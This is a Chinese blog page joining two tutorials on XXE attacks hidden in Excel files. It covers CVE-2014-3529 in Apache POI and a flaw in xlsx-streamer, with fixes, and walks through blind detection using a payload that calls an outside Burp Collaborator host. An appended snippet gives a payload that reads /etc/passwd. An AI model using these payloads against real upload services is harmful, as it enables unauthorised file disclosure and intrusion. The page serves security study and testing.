利用EXCEL进行XXE攻击

注:这里是两篇文章合在一起了。第一篇文章重点看xlsx中的哪几个xml可以编辑写payload;第二篇文章重点看利用方法。

第一篇文章

最近在阅读安全类文章时看到有同学分享如何利用 excel 进行 XXE 攻击,阅读后发现一些模糊的利用方式。由于漏洞场景非常常见,让我十分感兴趣,并决定一探究竟。注意本文验证仅用于学习与研究,请勿非法利用。

背景知识

Microsoft Office 从 2007 版本引入了新的开放的 XML 文件格式,新的 XML 文件格式基于压缩的 ZIP 文件格式规范,由许多部分组成。我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件,可以发现其中多数是描述工作簿数据、元数据、文档信息的 XML 文件。

Poi-ooxml.jar 的 XXE 漏洞

Apache POI 是提供 Microsoft Office 系列文档读、写功能的 JAVA 类库,Apache POI 3.10-FINAL 及以前版本被发现允许远程攻击者通过注入 XML 外部实体读取任意文件。

漏洞编号

CVE-2014-3529

影响范围

poi-ooxml-3.10-FINAL.jar 及以下版本

利用文件

[Content-Types].xml

漏洞利用

新建 test.xlsx 进行解压缩,得到以下文件:


打开 [Content-Types].xml 注入外部实体:

保存后压缩回 test.xlsx 文件:

编写解析程序执行,发现报错:

此时 ceye 上已产生记录:

漏洞分析
调用链

所列函数的调用顺序从上到下:
class=” org.apache.poi.xssf.usermodel.XSSFWorkbook” method=” XSSFWorkbook()”
class=” org.apache.poi.util.PackageHelper” method=” open()”
class=” org.apache.poi.openxml4j.opc.OPCPackage” method=” open()”
class=” org.apache.poi.openxml4j.opc.OPCPackage” method=” getParts()”
class=” org.apache.poi.openxml4j.opc.ZipPackage” method=” getPartsImpl()”
class=” org.apache.poi.openxml4j.opc.internal.ZipContentTypeManager” method=” ZipContentTypeManager()”
class=” org.apache.poi.openxml4j.opc.internal.ContentTypeManager” method=” ContentTypeManager()”
class=” org.apache.poi.openxml4j.opc.internal.ContentTypeManager” method=” parseContentTypesFile()”

关键函数

程序执行至 getPartsImpl() 函数中匹配出了 [Content-Types].xml 文件,并文件数据流传入至 ZipContentTypeManager 中:


ZipContentTypeManager 调用 ContentTypeManager() 函数,ContentTypeManager() 函数中把数据传入了 parseContentTypesFile() 函数进行处理:

parseContentTypesFile() 函数未进行 XXE 漏洞防护,直接对 XML 数据进行解析:

至此,漏洞触发。

修复方案

升级 poi-ooxml.jar 到 3.16 或以上版本。

看到这里,有同学会问,为什么我在阅读其他文章时发现,文章描述的利用方式不是 [Content-Types].xml 文件,而是另外的 xml 文件呢?别着急,下面我们继续另一个漏洞分析。

xlsx-streamer.jar 的 XXE 漏洞

当 Excel 中的数据量较大时,在用 Apache POI 读取文件流时很容易引起失败,需要引入 xlsx-streamer 来进行资源的解析。而 xlsx-streamer 的 2.0.0 及以下版本被发现允许远程攻击者通过注入 XML 外部实体读取任意文件。

影响范围

xlsx-streamer.jar-2.0.0 及以下版本

利用文件

xl/workbook.xml

漏洞利用

新建 1.xlsx 进行解压缩,得到以下文件:


打开 xl/workbook.xml 注入外部实体:

保存后压缩为 2.xlsx 文件:

编写解析程序执行,发现报错:

此时 ceye 上已产生记录:

漏洞分析
调用链

所列函数的调用顺序从上到下:
class=” com.monitorjbl.xlsx.StreamingReader” method=” open()”
class=” com.monitorjbl.xlsx.impl.StreamingWorkbookReader” method=” init(InputStream is)”
class=” com.monitorjbl.xlsx.impl.StreamingWorkbookReader” method=” init(file f)”
class=” org.apache.poi.xssf.eventusermodel.XSSFReader” method=” getWorkbookData()”
class=” com.monitorjbl.xlsx.XmlUtils” method=” document()”

关键函数

程序使用用户传入的 xlsx 文件内容重新生成一个临时文件,并使用 XSSFReader 解析文件:


然后在 getWorkbookData() 函数中会取到 xl/workbook.xml 文件流传入 document() 函数:

document() 函数未对 XXE 攻击进行防御,直接解析 XML 文件:

至此,漏洞触发。

修复方案

升级 xlsx-streamer.jar 到 2.1.0 版本

总结(将xl/wroksheets/sheet1.xml替换为payload)

除上述两个第三方库本身的漏洞外,系统开发人员在编写代码解析 xlsx 文件时,也有可能导致 XXE 漏洞。如 CVE-2016-5000 是在 Poi-examples.jar 的某个示例中被发现的 XXE 漏洞。感兴趣的同学可再进行进一步的研究。

(CVE-2016-5000:https://xz.aliyun.com/t/285/
通过不断尝试替换各个xml文件,发现将xl/wroksheets/sheet1.xml替换为payload,可以成功触发漏洞。)

参考文章

https://www.cnblogs.com/zlcom/archive/2013/09/21/3332060.html
http://www.zhutougg.com/2018/11/13/excel-streaming-reader-xxelou-dong/

  </div>

第二篇文章

0x00 前言

XML外部实体攻击非常常见,特别是通过基于HTTP的API,我们经常遇到并利用以此通常获得对客户端环境的特权访问。
不常见的是用Excel进行XXE攻击。

0x01 这是什么方式

实际上,与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。
在这篇文章中,我专注于Excel只是因为处理Excel文件比使用Word文档或Powerpoint更常见,但它肯定并不罕见,本文中的任何内容都可能适用于这些应用程序。

0x02 入门

假设我们有一个接受Excel文件进行上传和处理的目标应用程序,我们就可以开始探测XXE了。相同的攻击有效负载可能会起作用,我们只需将它们放入Excel文件即可。
创建一个新的空白Excel文件。你可以在某些单元格中键入内容,但实际上并不是必需的。如果您没有安装Excel?您可以使用Google表格,然后下载为xlsx。
创建一个目录以将Excel文件解压缩并解压缩。

用于攻击应用程序的文件会有所不同,这在很大程度上取决于所使用的库。xl/workbook.xml提供了工作簿内容的概述,通常是大多数解析开始的地方,因为它将包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下,通常内容最终会进入xl/sharedStrings.xml。

我在实际中发现了这一点,大多数应用程序似乎都会使用xl/workbook.xmlXML解析器来获取工作表列表,然后分别读取每个工作表以获取单元格内容。我还没有找到任何易受细胞影响的应用程序,但您的里程可能会有所不同。

鉴于这种方法,根据经验,通常最好先尝试xl/workbook.xml,这就是我将在这篇文章中展示的内容。就像将XXE有效负载添加到此文件一样简单,将内容压缩回Excel文件并将其上传到应用程序。

0x03 使用BURP COLLABORATOR对XXE进行盲测

利用360压缩打开xslx文件,找到Content_Types.xml文件,添加外部实体如下:
在这里插入图片描述

在我们的演示应用程序中,无法将数据检索到HTTP响应中,因此所有这些XXE发现和利用都将是盲目的。我喜欢使用Burp Collaborator进行初始测试,因为阻止出站HTTP请求但允许DNS查询的情况并不少见。使用Collaborator我们可以看到两种交互并确认漏洞,即使我们可能无法轻易利用它。

打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开。

单击“复制到剪贴板”。就我而言,值是gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net。现在我们将其插入到XML中。
打开xl/workbook.xml并将以下内容插入第2行和第3行。确保从Burp中粘贴你的值,而不是下面显示的值。:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>

你的xl/workbook.xml现在会是像这样。

现在将其压缩以创建新的Excel文件。

现在将此poc.xlsx上传到你的应用程序。在这种情况下,有一个简单的ReactJS演示应用程序,它允许我们将文件拖入。你的应用程序应该会有所不同,但都是一个方式。

现在检查您的Burp Collaborator客户端,看看您是否有任何点击。

成功。我们已确认XXE。

0x04 总结

通过Excel利用XML外部攻击非常简单,一旦你找到它,基本上你通常使用的任何盲技术都将与更标准的HTTP请求一样利用。

本文是EXPLOITING XXE WITH EXCEL的翻译文章

</article>
  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
XXE攻击XML External Entity Injection)是一种常见的网络安全攻击,它利用 XML 解析器的漏洞,将恶意的 XML 实体注入到应用程序中,从而实现对目标系统的攻击。下面介绍如何在 pikachu 靶场上实施 XXE 攻击。 步骤1:选择目标 在 pikachu 靶场中,可以选择一个目标进行攻击。例如,选择其中一个常见的目标“WebGoat”,这是一个用于学习 Web 应用程序漏洞的靶场。在 pikachu 靶场中,可以通过访问“https://ip:8443/WebGoat/attack”进入 WebGoat 靶场。 步骤2:查找漏洞 在 WebGoat 靶场中,有许多不同类型的漏洞可供攻击利用。在这里,我们将选择“XXE Injection”漏洞进行攻击。 步骤3:编写攻击脚本 编写攻击脚本,该脚本将恶意的 XML 实体注入到目标应用程序中。以下是一个简单的攻击脚本示例: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> ``` 在此脚本中,我们注入了一个实体“xxe”,它将读取目标系统的“/etc/passwd”文件并将其返回。 步骤4:发送攻击攻击脚本发送到目标系统。在 WebGoat 靶场中,可以通过简单地将脚本复制并粘贴到相应的输入框中进行攻击。 步骤5:获取攻击结果 如果攻击成功,将返回目标系统的“/etc/passwd”文件内容。 需要注意的是,XXE 攻击可能会导致目标系统中的敏感信息泄露,因此请在合法授权和合规框架内进行测试。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

J0hnson666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值